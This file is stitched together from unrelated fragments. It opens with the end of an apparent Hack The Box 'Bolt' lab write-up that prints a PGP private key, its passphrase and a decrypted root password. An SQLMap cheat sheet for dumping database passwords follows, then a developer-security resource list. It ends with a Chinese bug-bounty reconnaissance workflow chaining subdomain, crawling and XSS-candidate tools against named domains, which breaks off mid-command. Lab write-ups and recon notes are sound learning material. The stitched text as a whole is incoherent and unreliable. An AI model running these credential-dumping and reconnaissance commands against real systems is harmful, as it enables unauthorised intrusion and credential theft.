* _original";a:0:{}s:10:" * _hidden";a:0:{}s:11:" * _virtual";a:0:{}s:9:" * _dirty";a:1:{s:6:"avatar";b:1;}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:8:"Profiles";}}s:12:" * _original";a:0:{}s:10:" * _hidden";a:0:{}s:9:" * _dirty";a:0:{}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:5:"Users";}s:8:"resource";O:25:"App\Model\Entity\Resource":10:{s:14:" * _accessible";a:15:{s:4:"name";b:1;s:8:"username";b:1;s:3:"uri";b:1;s:11:"description";b:1;s:7:"deleted";b:0;s:7:"created";b:0;s:8:"modified";b:1;s:10:"created_by";b:0;s:11:"modified_by";b:1;s:7:"creator";b:0;s:8:"modifier";b:0;s:10:"permission";b:0;s:11:"permissions";b:0;s:7:"secrets";b:0;s:16:"resource_type_id";b:1;}s:10:" * _fields";a:12:{s:2:"id";s:36:"cd0270db-c83f-4f44-b7ac-76609b397746";s:4:"name";s:17:"passbolt.bolt.htb";s:8:"username";s:4:"root";s:3:"uri";s:0:"";s:11:"description";s:0:"";s:7:"deleted";b:0;s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:50:11.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:14:"Cake\I18n\Time":3:{s:4:"date";s:26:"2021-10-02 21:52:54.173057";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:10:"created_by";s:36:"4e184ee6-e436-47fb-91c9-dccb57f250bc";s:11:"modified_by";s:36:"4e184ee6-e436-47fb-91c9-dccb57f250bc";s:16:"resource_type_id";s:36:"a28a04cd-6f53-518a-967c-9963bf9cec51";s:7:"secrets";a:1:{i:0;O:23:"App\Model\Entity\Secret":10:{s:14:" * _accessible";a:5:{s:7:"user_id";b:0;s:11:"resource_id";b:0;s:4:"data";b:0;s:7:"created";b:0;s:8:"modified";b:0;}s:10:" * _fields";a:6:{s:2:"id";s:36:"643a8b12-c42c-4507-8646-2f8712af88f8";s:7:"user_id";s:36:"4e184ee6-e436-47fb-91c9-dccb57f250bc";s:11:"resource_id";s:36:"cd0270db-c83f-4f44-b7ac-76609b397746";s:4:"data";s:1098:"-----BEGIN PGP MESSAGE----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org wcBMA/ZcqHmj13/kAQf/UGf6kAGXa6nm9toGx1cQBYVr2fidgiLmYSO7+XhK NWgw4+N1R3eIra+JCEAxq2LiO7Qvr2nu1OJXoqM9+N379M7AqAsKfNdlpt36 cF+7EKVy90z72S3qzEbKYWC1Ry01j39aeRGw3XLSB3Zf67RQY1V8y80lo4tz dpS5z+c4j5v+IgIe0WLHtsyev5bmmjp56vWDnjh43w+7TmwcSs8wxa5EbZSE rRVTbQ07Ol8QF9XaEYLEEJGh+vyBOwuZn4dO4+Qe1+PzywK4UCPxgQrH2sCf OnlP059yoz9rl6BdV4UIXMEk6eG5gZMIQpcmfYMIRSJAp4VDgy60O7A/S2nc KtLA7wGlxY1IjIWnxOSQyiODuUf+x4BesxCtYjkeKxH084b4Pvpz4+1AD3ys 5NDrwFV9zOA9qgfH5FXPRC5nJh1lZodhxolxscC/PHMvX0gGom7cSYco8bTX ZwXEv5c+IFKDH4Yr7meeiKNfy+sr2/FqiAnw8SwpJtBPiIJDE8nYAv+eiAHp 3Vnov4eHY7/Qj2bDOYAZiYwSZkgjhmZCwL9UmPtQKGCATQkyhBdhnGWsOICt 42E/vhvF7wCqdTR+NAuYFddUftX78UzrJmlobRR+NGxTUDZgmGtN5XQvuyZi oQWjMjZX9ivSP23hJdBCaJTHngmwSLlIvquGCY5ep0AeIRxC8FjfdGr9MAU/ 72+za0y9yvXuk8gXHsdXNVLxZ2fY7tcqlf4kf6sOW4c/SZSM3VgBJMoM/NnV Z65hT6OIQ3mI2W/h06/N3qCb+vezh+6WBjUKqdv2+pgHOVzi8DtRO7jHT43T ZOEYUM9/w+6P9e3zrwiD9Hrx6XWKNY+W5euPp8VwCtkkrKGDdqP6wkYuoWft GmE96U0Qq2LWDny6QrnPpG/TWNWUX/Zw7vSAr7V9 =s7tx -----END PGP MESSAGE----- ";s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:50:11.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-10-02 21:52:54.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}}s:12:" * _original";a:0:{}s:10:" * _hidden";a:0:{}s:11:" * _virtual";a:0:{}s:9:" * _dirty";a:0:{}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:7:"Secrets";}}}s:12:" * _original";a:0:{}s:10:" * _hidden";a:0:{}s:11:" * _virtual";a:0:{}s:9:" * _dirty";a:1:{s:7:"secrets";b:1;}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:9:"Resources";}s:12:"showUsername";b:1;s:7:"showUri";b:1;s:15:"showDescription";b:1;s:10:"showSecret";b:1;s:11:"fullBaseUrl";s:25:"https://passbolt.bolt.htb";}s:5:"title";s:43:"Eddie edited the password passbolt.bolt.htb";s:6:"locale";s:5:"en-UK";} | a:1:{s:14:"Auto-Submitted";s:14:"auto-generated";} | 0 | 0 | 4 | 2021-10-02 21:52:54 | 2021-10-02 21:52:54 | 2021-10-02 21:52:54 | a:0:{} | stream_socket_client(): unable to connect to tcp://localhost:587 (Connection refused) | ... ``` As we can see, we found the following PGP encrypted message from ```[email protected]``` : ```console -----BEGIN PGP MESSAGE----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org wcBMA/ZcqHmj13/kAQf/UGf6kAGXa6nm9toGx1cQBYVr2fidgiLmYSO7+XhK NWgw4+N1R3eIra+JCEAxq2LiO7Qvr2nu1OJXoqM9+N379M7AqAsKfNdlpt36 cF+7EKVy90z72S3qzEbKYWC1Ry01j39aeRGw3XLSB3Zf67RQY1V8y80lo4tz dpS5z+c4j5v+IgIe0WLHtsyev5bmmjp56vWDnjh43w+7TmwcSs8wxa5EbZSE rRVTbQ07Ol8QF9XaEYLEEJGh+vyBOwuZn4dO4+Qe1+PzywK4UCPxgQrH2sCf OnlP059yoz9rl6BdV4UIXMEk6eG5gZMIQpcmfYMIRSJAp4VDgy60O7A/S2nc KtLA7wGlxY1IjIWnxOSQyiODuUf+x4BesxCtYjkeKxH084b4Pvpz4+1AD3ys 5NDrwFV9zOA9qgfH5FXPRC5nJh1lZodhxolxscC/PHMvX0gGom7cSYco8bTX ZwXEv5c+IFKDH4Yr7meeiKNfy+sr2/FqiAnw8SwpJtBPiIJDE8nYAv+eiAHp 3Vnov4eHY7/Qj2bDOYAZiYwSZkgjhmZCwL9UmPtQKGCATQkyhBdhnGWsOICt 42E/vhvF7wCqdTR+NAuYFddUftX78UzrJmlobRR+NGxTUDZgmGtN5XQvuyZi oQWjMjZX9ivSP23hJdBCaJTHngmwSLlIvquGCY5ep0AeIRxC8FjfdGr9MAU/ 72+za0y9yvXuk8gXHsdXNVLxZ2fY7tcqlf4kf6sOW4c/SZSM3VgBJMoM/NnV Z65hT6OIQ3mI2W/h06/N3qCb+vezh+6WBjUKqdv2+pgHOVzi8DtRO7jHT43T ZOEYUM9/w+6P9e3zrwiD9Hrx6XWKNY+W5euPp8VwCtkkrKGDdqP6wkYuoWft GmE96U0Qq2LWDny6QrnPpG/TWNWUX/Zw7vSAr7V9 =s7tx -----END PGP MESSAGE----- ``` We have eddie's PGP private key and passphare, Let's decrypt this message using [CyberChef](https://gchq.github.io/CyberChef/#recipe=PGP_Decrypt('-----BEGIN%20PGP%20PRIVATE%20KEY%20BLOCK-----%5CnVersion:%20OpenPGP.js%20v4.10.9%5CnComment:%20https://openpgpjs.org%5Cn%5CnxcMGBGA4G2EBCADbpIGoMv%2BO5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi%5CnfjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz%2B5gaYczk%5CncpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w%2B8ne0A5I0aygN2OPnEKhU%5CnRNa6PCvADh22J5vD%2B/RjPrmpnHcUuj%2B/qtJrS6PyEhY6jgxmeijYZqGkGeWU%5Cn%2BXkmuFNmq6km9pCw%2BMJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a%5CnIf70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB%5CnAAH%2BCQMINK%2Be85VtWtjguB8IR%2BAfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW%5CnUjeGmI%2Bw7iQ%2BWYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y%2BFhua%5CnjS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA%5CniOe%2B%2BbiDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac%5Cn2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk%2BZAxd2rJhhleZDiASDrIDT9/G5FDVj%5CnQY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf%5CnDRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j%2Bld8o0YCP%2B76K/%5Cn7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2%5CnAZkM%2B9snQT9azCX/H2kVVryOUmTP%2Buu%2Bp%2Be51z3mxxngp7AE0zHqrahugS49%5CntgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc%5CnUct0uWs8LwgrwCFIhuHDzrs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP%5CnyF1ROfZJlwFOw4rFnmW4Qtkq%2B1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj%5CnXTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e%5CnIHcUU5wuVGzUXERSBROU5dAOcR%2BlNT%2BBe%2BT6aCeqDxQo37k6kY6Tl1%2B0uvMp%5CneqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t%2Bcl2McqnWJ3EsmZTFi37Lyz1CM%5CnvjdUlrpzWDDCwA8VHN1QxSKv4z2%2BQmXSzR5FZGRpZSBKb2huc29uIDxlZGRp%5CnZUBib2x0Lmh0Yj7CwI0EEAEIACAFAmA4G2EGCwkHCAMCBBUICgIEFgIBAAIZ%5CnAQIbAwIeAQAhCRAcJ0Gj3DtKvRYhBN9Ca8ekqK9Y5Q7aDhwnQaPcO0q9%2BQ0H%5Cn/R2ThWBN8roNk7hCWO6vUH8Da1oXyR5jsHTNZAileV5wYnN%2Begxf1Yk9/qXF%5CnnyG1k/IImCGf9qmHwHe%2BEvoDCgYpvMAQB9Ce1nJ1CPqcv818WqRsQRdLnyba%5Cnqx5j2irDWkFQhFd3Q806pVUYtL3zgwpupLdxPH/Bj2CvTIdtYD454aDxNbNt%5Cnzc5gVIg7esI2dnTkNnFWoFZ3%2Bj8hzFmS6lJvJ0GN%2BNrd/gAOkhU8P2KcDz74%5Cn7WQQR3/eQa0m6QhOQY2q/VMgfteMejlHFoZCbu0IMkqwsAINmiiAc7H1qL3F%5CnU3vUZKav7ctbWDpJU/ZJ%2B%2BQ/bbQxeFPPkM%2BtZEyAn/fHwwYEYDgbYQEIAJpY%5CnHMNw6lcxAWuZPXYz7FEyVjilWObqMaAael9B/Z40fVH29l7ZsWVFHVf7obW5%5CnzNJUpTZHjTQV%2BHP0J8vPL35IG%2BusXKDqOKvnzQhGXwpnEtgMDLFJc2jw0I6M%5CnKeFfplknPCV6uBlznf5q6KIm7YhHbbyuKczHb8BgspBaroMkQy5LHNYXw2FP%5CnrOUeNkzYjHVuzsGAKZZzo4BMTh/H9ZV1ZKm7KuaeeE2x3vtEnZXx%2BaSX%2BBn8%5CnKo%2BnUJZEn9wzHhJwcsRGV94pnihqwlJsCzeDRzHlLORF7i57n7rfWkzIW8P7%5CnXrU7VF0xxZP83OxIWQ0dXd5pA1fN3LRFIegbhJcAEQEAAf4JAwizGF9kkXhP%5CnleD/IYg69kTvFfuw7JHkqkQF3cBf3zoSykZzrWNW6Kx2CxFowDd/a3yB4moU%5CnKP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt5EneFC64f%5Cna6yNKT1Z649ihWOv%2BvpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo%2Bsu67%5CnJAKMm0cf1opW9x%2BCMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH%5CnkERD10SVfII2e43HFgU%2BwXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99%2B%5CnJa9e91nDa3oLabiqWqKnGPg%2Bky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT%5CnGh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT%2B0eUWkMA5NzJwHbJMVAlB%5CnGquB8QmrJA2QST4v%2B/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW%2Bnqong%5CncVwHHy2W6hVdr1U%2BfXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm%2B3Z1wXO%5Cnn0LJKVoiPuZr/C0gDkek/i%2Bp864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz%5Cn4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT%5Cn4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h%5CnJ6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO4ocMQDcj6kDLW58tV/WQKJ3duRt%5Cn1VrD5poP49%2BOynR55rXtzi7skOM%2B0o2tcqy3JppM3egvYvXlpzXggC5b1NvS%5CnUCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU%5CnNsw%2B14%2BEGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf%5CnQmvHpKivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm%5CnoRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg%5Cn6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/%5CnIc3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiRwb4Z4CSGgJ5TgGML8%5Cn11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw%2B9K0MNARKCm%5CnYZFGLdtA/qMajW4/%2BT3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0%5CnPSwYYWlAywj5%5Cn%3DcqxZ%5Cn-----END%20PGP%20PRIVATE%20KEY%20BLOCK-----','merrychristmas')&input=LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IE9wZW5QR1AuanMgdjQuMTAuOQpDb21tZW50OiBodHRwczovL29wZW5wZ3Bqcy5vcmcKCndjQk1BL1pjcUhtajEzL2tBUWYvVUdmNmtBR1hhNm5tOXRvR3gxY1FCWVZyMmZpZGdpTG1ZU083K1hoSwpOV2d3NCtOMVIzZUlyYStKQ0VBeHEyTGlPN1F2cjJudTFPSlhvcU05K04zNzlNN0FxQXNLZk5kbHB0MzYKY0YrN0VLVnk5MHo3MlMzcXpFYktZV0MxUnkwMWozOWFlUkd3M1hMU0IzWmY2N1JRWTFWOHk4MGxvNHR6CmRwUzV6K2M0ajV2K0lnSWUwV0xIdHN5ZXY1Ym1tanA1NnZXRG5qaDQzdys3VG13Y1NzOHd4YTVFYlpTRQpyUlZUYlEwN09sOFFGOVhhRVlMRUVKR2grdnlCT3d1Wm40ZE80K1FlMStQenl3SzRVQ1B4Z1FySDJzQ2YKT25sUDA1OXlvejlybDZCZFY0VUlYTUVrNmVHNWdaTUlRcGNtZllNSVJTSkFwNFZEZ3k2ME83QS9TMm5jCkt0TEE3d0dseFkxSWpJV254T1NReWlPRHVVZit4NEJlc3hDdFlqa2VLeEgwODRiNFB2cHo0KzFBRDN5cwo1TkRyd0ZWOXpPQTlxZ2ZINUZYUFJDNW5KaDFsWm9kaHhvbHhzY0MvUEhNdlgwZ0dvbTdjU1ljbzhiVFgKWndYRXY1YytJRktESDRZcjdtZWVpS05meStzcjIvRnFpQW53OFN3cEp0QlBpSUpERThuWUF2K2VpQUhwCjNWbm92NGVIWTcvUWoyYkRPWUFaaVl3U1prZ2pobVpDd0w5VW1QdFFLR0NBVFFreWhCZGhuR1dzT0lDdAo0MkUvdmh2Rjd3Q3FkVFIrTkF1WUZkZFVmdFg3OFV6ckptbG9iUlIrTkd4VFVEWmdtR3RONVhRdnV5WmkKb1FXak1qWlg5aXZTUDIzaEpkQkNhSlRIbmdtd1NMbEl2cXVHQ1k1ZXAwQWVJUnhDOEZqZmRHcjlNQVUvCjcyK3phMHk5eXZYdWs4Z1hIc2RYTlZMeFoyZlk3dGNxbGY0a2Y2c09XNGMvU1pTTTNWZ0JKTW9NL05uVgpaNjVoVDZPSVEzbUkyVy9oMDYvTjNxQ2IrdmV6aCs2V0JqVUtxZHYyK3BnSE9Wemk4RHRSTzdqSFQ0M1QKWk9FWVVNOS93KzZQOWUzenJ3aUQ5SHJ4NlhXS05ZK1c1ZXVQcDhWd0N0a2tyS0dEZHFQNndrWXVvV2Z0CkdtRTk2VTBRcTJMV0RueTZRcm5QcEcvVFdOV1VYL1p3N3ZTQXI3VjkKPXM3dHgKLS0tLS1FTkQgUEdQIE1FU1NBR0UtLS0tLQ): ![cyberchef.JPG](images/cyberchef.JPG) And we get the message ```{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}``` which contians the root password.
## SQLMap Default set Parameter ``` --batch never ask for UserInput --level=5 --risk=3 --passwords ``` --- ``` --u URL -v VERBOSE Verbosity level: 0-6 (default 1) ```
<p align="center"> <strong>Star this repo and keep track of awesome new updates.</strong> </p> ![Banner](./img/Banner.png) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) ![GitHub last commit](https://img.shields.io/github/last-commit/h-parikh/awesome-dev-first-security) ![Twitter URL](https://img.shields.io/twitter/url?style=social&url=https%3A%2F%2Fgithub.com%2Fh-parikh%2Fawesome-dev-first-security%2F) > A curated collection of tools and resources for building security with a developer first mindset. Security with a dev-first mindset brings security closer to developers, empowering them to take ownership of security. This democratization of security changes the role of security teams to be an enabler rather than controller, and requires developers to embrace security as a first class citizen. Your [contributions](https://github.com/h-parikh/awesome-dev-first-security/blob/main/contributing.md/) are always welcome ! # Contents - [Secure Development](#secure-development) - [Continuous Security Testing](#continuous-security-testing) - [Triage and Prioritizaiton](#triage-and-prioritization) - [Remediation Management](#remediation-management) - [Metrics and Reporting](#metrics-and-reporting) - [Training](#training) ![Lifecycle](./img/Lifecycle.png) ## Secure Development Building security from the beginning is well accepted as the ideal goal, however it is incredibly hard to implement in practice. In a constantly changing landscape of security, it is not practical to expect every single developer to follow security practices all the time. In most organizations, where developers are at varying levels of security skills and have constantly changing priorities, it becomes important to make security simple to follow and difficult to get wrong. This is where checklists come into the picture. Building out well defined, actionable checklists and implementing those checks technically is known to significantly improve the security posture of software being built by developers. Here are a few usable checklists: - [OWASP ASVS](https://github.com/OWASP/ASVS/) - [Mozilla’s Web Security Checklist](https://github.com/mozilla-services/websec-check/) - [Test Driven Security in CI](https://www.youtube.com/watch?v=e2axToBYD68/) - [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist/) - [Case studies of successfully eliminating entire classes of vulnerabilities](https://docs.google.com/presentation/d/1neDK74PT-y2zt-nOV0fN80m0TJeoBRp9iVZp8R78Jbg/edit#slide=id.g2baad2bc301217d9_10/) - [Making safe coding patterns the default](https://www.slideshare.net/morganroman/banfootguns-devseccon-2019/) - [Serverless security checklist](https://res.cloudinary.com/snyk/raw/upload/v1559295122/Cheat_Sheet-_10_Serverless_Security_Best_Practices.pdf) Note: The problem of avoidable failures is not limited to security or development, in fact it is prevalent in almost every organized activity including healthcare, airlines, government etc. An excellent book to read on the importance and impact of checklists is [The Checklist Manifesto](https://amzn.com/0312430000/) ## Continuous Security Testing DevOps practices have introduced continuous integration (CI) which puts focus on continuously testing code during the development process. Following a similar pattern, making security verification an integral part of development process typically leads to security becoming more actionable and natural for developers to work on. Here are a few tools and resources for security testing throughout the development and deployment lifecycle: - Orchestrate scanners in CI/CD - [ReapSaw](https://github.com/dowjones/reapsaw/) and [Salus](https://github.com/coinbase/salus/) - Orchestrate security using AWS step functions - [Slides](https://www.deepsec.net/docs/Slides/2018/Orchestrating_Security_Tooling_With_AWS_Step_Functions_Jules_Denardou_Justin_Massey.pdf/) - GitHub app for security feedback in PRs - [GuardRails](https://github.com/apps/guardrails/) - Static analysis for Infrastructure as Code - [Checkov](https://github.com/bridgecrewio/checkov/) - Open source static analysis tool - [InsiderCLI](https://github.com/insidersec/insider/) - [More Scanners](https://github.com/devsecops/awesome-devsecops#automation/) - [Awesome BugBounty](https://github.com/djadmin/awesome-bug-bounty/) - [Awesome Pen Testing](https://github.com/enaqx/awesome-pentest/) - [Awesome Threat Modeling](https://github.com/redshiftzero/awesome-threat-modeling/) - [Awesome Web Hacking](https://github.com/infoslack/awesome-web-hacking/) - [Awesome Container Security](https://github.com/kai5263499/awesome-container-security/) - [Building a Secure DevOps Pipeline](https://www.youtube.com/watch?v=IAzPKzwY-ks/) ## Triage and Prioritization Security tools, especially automated scanners are notorious for generating high ratios of false positives. The easiest way to lose developers' attention and interest in security is by sending them on a wild goose chase of highly noisy vulnerability report. While this problem of high rate of false positives is still not solved, several folks are trying to solve this problem in different ways. Here are a few tools and resources that are helpful in triaging and prioritizing vulnerabilities: - Vulnerability intelligence services to prioritize CVEs - [vFeed](https://vfeed.io/) and [Vuldb](https://vuldb.com/) and [VulnDB](https://vulndb.cyberriskanalytics.com/) - Research study for using ML in improving vulnerability identification - [Article](http://asankhaya.github.io/pdf/Effective-Identification-of-Vulnerabilities-using-Machine-Learning.pdf/) This focuses on network vulnerabilities but several concepts can be borrowed in AppSec world - [Collective intelligence for contextual prioritization](https://delvesecurity.com/contextual-prioritization-score/) - [Remediation Prioritization](https://delvesecurity.com/re-defining-vulnerability-remediation-prioritization/) - [Threat Intelligence for Prioritization](https://delvesecurity.com/automating-threat-intel-with-machine-learning-extracting-the-underlying-concepts-from-underground-discussions-and-osint/) ## Remediation Management Dealing with security defect backlog and getting it prioritized for remediation can be a constant challenge in most organizations. A dev-first approach to this challenge brings empathy and partnership into the mix, and puts security team in the role of an enabler rather than a controller. Here are a few excellent case studies of security and engineering partnerships: - Building partnerships and enabling engineers - [Abstract](https://tldrsec.com/blog/appsec-cali-2019/#a-pragmatic-approach-for-internal-security-partnerships/) and [Original Video](https://www.youtube.com/watch?v=HIdexRqjpWc/) - Art of Vulnerability Management - [Abstract](https://tldrsec.com/blog/appsec-cali-2019/#the-art-of-vulnerability-management/) and [Original Video](https://www.youtube.com/watch?v=EkyY1q2-JBI/) ## Metrics and Reporting Generating metrics for the overall AppSec program or vulnerability management program is important, however that will not necessarily move the needle with developers. A dev-first approach to AppSec metrics, is to bring visibility to each dev team of their own AppSec performance metrics and have them take ownership of it. Just like how dev teams measure their quality, reliability, performance metrics, they should be able to measure and improve their own AppSec metrics. Here are a few resources that can help you get started: - Simple AppSec Metrics - [Abstract](https://tldrsec.com/blog/data-driven-bug-bounty/) and [Original video](https://www.youtube.com/watch?v=2TWY74MgTrc/) - More Metrics - [Original Video](https://youtu.be/BxXV1pVSMn0?t=1751/) - Building Actionable KPIs - [Slides](https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18075/2020_USA20_RMG-F02_01_beating-security-inertia-with-actionable-KPIs.pdf) - Vulnerability Aggregation Tool - [DefectDojo](https://github.com/DefectDojo/django-DefectDojo/) - Dashboarding Tools - [Metabase](https://github.com/metabase/metabase/), [Superset](https://github.com/apache/incubator-superset/) ## Training In security, failures (bugs / defects / vulnerabilibities) are caused by not just lack of security skills. In a large majority of the cases, security defects are caused by competent developers who have too many other priorities or are not incentivized to build security or simply don't connect the dots to security risks. To address such a broad set of failure modes, security training needs to go beyond a focus on skills improvement and needs to also include things that make security interesting, fun and engaging. Building out a security champions program, organizing CTFs and gamifying the experience have led to increased developer engagement and interest towards security. - [Security Champions Playbook](https://github.com/c0rdis/security-champions-playbook/) - [Awesome CTF](https://github.com/apsdehal/awesome-ctf/) - [Awesome AppSec](https://github.com/paragonie/awesome-appsec/) - [Awesome Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills/)
# 总结赏金技巧和工作技巧 ``` 本列表,收集一些在服务器上运行的一些工具,组件自动化,服务器长期挂跑项目 欢迎提issues,来丰富工作流程,比如自己挖洞时候的一些简易流程,工具+调用命令, 在我的日常渗透中,我发现我重复调用几个工具,但是不同的调用组合渗透的工作流程,有时候调用命令会忘记,所以有了这个列表,来达到帮助我记忆一些流程命令的文档,未来还会细化过程,脚本小子福音了 其中有些连接和笔记从17年我的笔记所摘取,有错误请提醒,我修改一下,有些技巧也很老了,现在信息收集分为主动化和被动化,主动化更偏向于发现新资产,被动化稍微弱点。 ``` **//子域名获取** ``` subdomain3 https://github.com/yanxiu0614/subdomain3/blob/master/README_ZH.md subfinder https://github.com/projectdiscovery/subfinder ksubdomain https://github.com/knownsec/ksubdomain ``` 通过RapidDNS查询子域名 ``` curl -s "https://rapiddns.io/subdomain/$1?full=1" | grep -oP '_blank">\K[^<]*' | grep \* |sort -u ``` 证书透明收集子域名 ``` 证书透明度: echo 'https://bl669.com' | ./httpx -tls-probe -json -silent | jq -r '.["tls-grab"]'.dns_names >> a.txt ``` 使用工具提取证书的域名;https://github.com/cheetz/sslScrape # 一键调用subfinder+ksubdomain+httpx 强强联合从域名发现到域名验证到获取域名标题、状态码以及响应大小 ``` ./subfinder -d mrxn.net -silent|sudo ./ksubdomain -verify -skip-wild -silent|./httpx -title -content-length -status-code -o mrxn.net.txt ``` https://github.com/Mr-xn/subdomain_shell/blob/master/ubuntu/run.sh 这样接入二次扫描好一点 ``` subfinder -d shopifykloud.com -silent|ksubdomain -verify -skip-wild -silent|httpx -o shopifykloud.com.txt ``` **DNS枚举** ``` https://github.com/projectdiscovery/dnsx ``` **端口扫描** ``` https://github.com/projectdiscovery/naabu ``` **//存活验证** ``` httpx https://github.com/projectdiscovery/httpx ``` **批量目录扫描** ``` https://github.com/H4ckForJob/dirmap ``` 命令行调用命令 ``` subfinder -silent -dL domain.txt | dnsx -silent | naabu -top-ports 1000 -silent| httpx -title -tech-detect -status-code subfinder -d domain.net -silent | ksubdomain e --stdin --silent | naabu -top-ports 1000 -silent subfinder -silent -dL domain.txt | dnsx -silent | httpx -o output.txt subfinder -d domain.com -silent subfinder -silent -dL domain.txt | dnsx -silent | httpx -mc 200 -timeout 30 -o output.txt ``` **//去重对比** ``` anew https://github.com/tomnomnom/anew ``` gf https://github.com/tomnomnom/gf GF分步安装教程;https://doepichack.com/gf-tool-step-by-step-guide/ ``` go install github.com/tomnomnom/gf@latest ``` **//获取子域名,对比文件,验证存活,达到监听新资产的目的** ``` subfinder -silent -dL domain.txt | anew domians.txt | httpx -title -tech-detect -status-code ``` **视觉侦查** https://github.com/sensepost/gowitness ``` gowitness file <urlslist.txt> ``` **网站历史URL获取** ``` **gau** https://github.com/lc/gau **hakrawler** https://github.com/hakluke/hakrawler **waybackurls** https://github.com/tomnomnom/waybackurls **gospider** https://github.com/jaeles-project/gospider ``` ``` 爬虫获取链接,运行20个站点每个站点10个爬虫 gospider -S domain.txt -o output.txt -c 10 -d 1 -t 20 通过爬虫获取链接包含子域名 gospider -s "https://google.com/" -o output -c 10 -d 1 --other-source --include-subs 对文件进行处理过滤出js文件 gospider -S urls.txt | grep js | tee -a js-urls.txt ``` **针对单一网站与文件,调用命令进行打点** ``` echo domain.com | gau --blacklist png,jpg,gif,html,eot,svg,woff,woff2 | httpx -title -tech-detect -status-code cat domian.txt | gau --blacklist png,jpg,gif,html,eot,svg,woff,woff2 | httpx -title -tech-detect -status-code 此命令也获取了标题,直接操作httpx即可衔接下一个命令运行工具 ``` **针对JS进行提取敏感字段** https://github.com/machinexa2/Nemesis **或许你需要一些命令** ``` cat livejs.txt | grep dev cat livejs.txt | grep app cat livejs.txt | grep static ``` 提取器 提取JS命令 https://github.com/tomnomnom/fff ``` cat jslist.txt | fff | grep 200 | cut -d “ “ -f1 | tee livejs.txt ``` **目录FUZZ扫描** https://github.com/ffuf/ffuf 对UEL进行提取 https://github.com/tomnomnom/gf ``` cat subdomains.txt | waybackurls | gf xss | qsreplace | tee xss.txt ``` **XRAY 命令行批量扫描** 针对单个域名进行子域名爆破,使用GAU提取链接,httpx验证存活,推送到XRAY进行爬虫扫描。 ``` subfinder -d domain.com -silent | gau --blacklist png,jpg,gif,html,eot,svg,woff,woff2 | httpx -o 200.txt 